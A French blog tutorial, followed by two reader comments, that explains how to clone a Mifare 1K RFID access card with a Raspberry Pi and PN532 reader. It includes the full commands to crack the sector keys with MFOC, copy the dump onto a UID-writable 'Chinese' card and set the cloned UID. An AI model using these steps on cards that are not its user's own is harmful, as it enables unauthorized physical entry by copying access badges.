Attention, cet article n’a pas de vocation illégal. Il s’agit de comprendre le fonctionnement des cartes Mifare 1K.
Cette expérience nous servira dans le cadre de la création d’une ouverture de porte sécurisée par carte NFC.
Les cartes RFID Mifare 1K (13.56MHz) possèdent deux protections principales :
- Le block 0 (zéro) est en lecture seule, seul le constructeur de la carte peut initialiser ce block.
- Les données écrites sur les cartes sont encryptées.
Il existe cependant des solutions pour outrepasser ces protections et permettre de créer des copies exactes.
Vous pouvez cloner des cartes si vous disposez d’un lecteur/graveur de cartes tel que le Proxmark III.
Vous pouvez cloner des cartes avec un lecteur/graveur standard si vous utilisez des carte pour lesquelles l’UID peut être modifié (disposant d’une backdoor pour écrire sur le block 0), appelées plus communément « Cartes chinoises » car aucune loi ne restreint l’utilisation de ces cartes en Chine.
Dans cet article je détaillerais la procédure pour cloner une carte RFID Mifare 1k sous Linux en utilisant des « cartes chinoises ».
1. Achat d’une carte Mifare 1K Chinoise
La première étape consiste à se procurer une carte chinoise.
Rien de plus simple : posez la question a votre vendeur chinois habituel, il vous trouvera cela pour 15$ les 2.
Ces cartes disposent d’une backdoor physique permettant de modifier le contenu du block 0 (habituellement en lecture seule sur des cartes classiques).
2. Achat d’un lecteur de carte
Personnellement, j’ai opté pour un contrôleur NFC/RFID chez Adafruit. Pratique, joli, et il se marie très bien avec ma Raspberry Pi, il s’agit du PN532, comme ici (pour andré).
3. Environnement Linux
C’est que les choses se compliquent un peu..mais juste un peu.
Dans un premier temps, il faut libérer l’UART :
# vi /etc/inittab
Verifier que la ligne est bien commentée :
#Spawn a getty on Raspberry Pi serial line #T0:23:respawn:/sbin/getty -L ttyAMA0 115200 vt100
Puis modifier le fichier /boot/cmdlines.txt afin de remplacer :
dwc_otg.lpm_enable=0 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 $
par
dwc_otg.lpm_enable=0 console=tty1 $
Vous aurez besoin de la LIBNFC et de MFOC.
LIBNCF :
Récupérer le numéro de la dernière version ici.
Installer les pré-requis :
# sudo apt-get install libpcsclite-dev libusb-dev
Récupérer les sources de la LIBNFC :
# wget http://libnfc.googlecode.com/files/libnfc-1.7.0-rc7.tar.gz # tar -xvzf libnfc-1.7.0-rc7.tar.gz
Copier le fichier de conf correspondant à votre contrôleur dans /etc :
# mkdir -p /etc/nfc/devices.d # cp libnfc-1.7.0-rc7/contrib/libnfc/pn532_uart_on_rpi.conf.sample /etc/nfc/devices.d/pn532_uart_on_rpi.conf
Configurer et compiler la lib :
#cd libnfc-1.7.0-rc7 # vi libnfc/buses/uart.c
C’est parti :
# ./configure --with-drivers=pn532_uart --sysconfdir=/etc # make && make install # sh -c "echo /usr/local/lib > /etc/ld.so.conf.d/usr-local-lib.conf" # ldconfig
Faites un test :
# nfc-list nfc-list uses libnfc 1.7.0-rc7 NFC device: pn532_uart:/dev/ttyAMA0 opened 1 ISO14443A passive target(s) found: ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 UID (NFCID1): 9d 96 a4 23 SAK (SEL_RES): 08
MFOC :
Récupérer le numéro de la dernière version ici.
Récupérer les sources de MFOC :
# wget http://mfoc.googlecode.com/files/mfoc-0.10.6.tar.gz # tar -xvzf mfoc-0.10.6.tar.gz # cd mfoc-0.10.5 # vi src/nfc-utils.c
Pour la version 0.10.5, remplacer à la ligne 121 :
str_nfc_target(&s, nt, verbose);
par
str_nfc_target(&s, &nt, verbose);
Configurer et compiler MFOC :
# ./configure # make && make install
Faire un test. Poser une carte sur le contrôleur :
# mfoc -O ma_carte.dmp
4. Dump/Cracking des cartes
Cette étape consiste à créer des « dump » des deux cartes. On dump la carte que l’ont veut copier (pour avoir la source) et on dump aussi la carte chinoise pour avoir ses clés.
Placez la carte chinoise sur votre lecteur :
# mfoc -P 500 -O carte-chinoise_vierge.dmp
Placez la carte à copier sur votre lecteur :
# mfoc -P 500 -O carte_Appart.dmp
5. Recopier le contenu
Nous allons maintenant copier le contenu de la carte sources sur la carte chinoise. Placez la carte chinoise votre lecteur :
# nfc-mfclassic w a carte_Appart.dmp carte-chinoise_vierge.dmp
ou
# nfc-mfclassic w b carte_Appart.dmp carte-chinoise_vierge.dmp
6. Modification du numéro de série
La dernière étape est la plus importante. Elle consiste à modifier le numéro de série de la carte chinoise avec le numéro de série de la carte source.
Placez la carte à copier votre lecteur :
# nfc-list nfc-list uses libnfc 1.7.0-rc7 NFC device: pn532_uart:/dev/ttyAMA0 opened 1 ISO14443A passive target(s) found: ISO/IEC 14443A (106 kbps) target: ATQA (SENS_RES): 00 04 UID (NFCID1): 36 d0 35 ce SAK (SEL_RES): 08
Mettre ce numéro de coté.
Placez la carte chinoise votre lecteur :
# nfc-mfsetuid 36d035ce
Vérifiez que le numéro de série de votre carte chinoise est identique à votre carte.
# nfc-list
Vous devriez avoir le meme numéro que la carte source.
Salut,
Une fois que j’ai ecrit sur ma carte, je n’arrive plus à refaire un dump pour réecrire dessus.
Tu pourrais me dire comment faire s’il te plait. Car j’ai l’impression qu’il ne trouve pas les cléf, à chaque tentative il reste sur distance 64…. il ne change jamais.
Merci de ton aide
effectivement j’ai toujours mon fichier dmp original de ma carte china.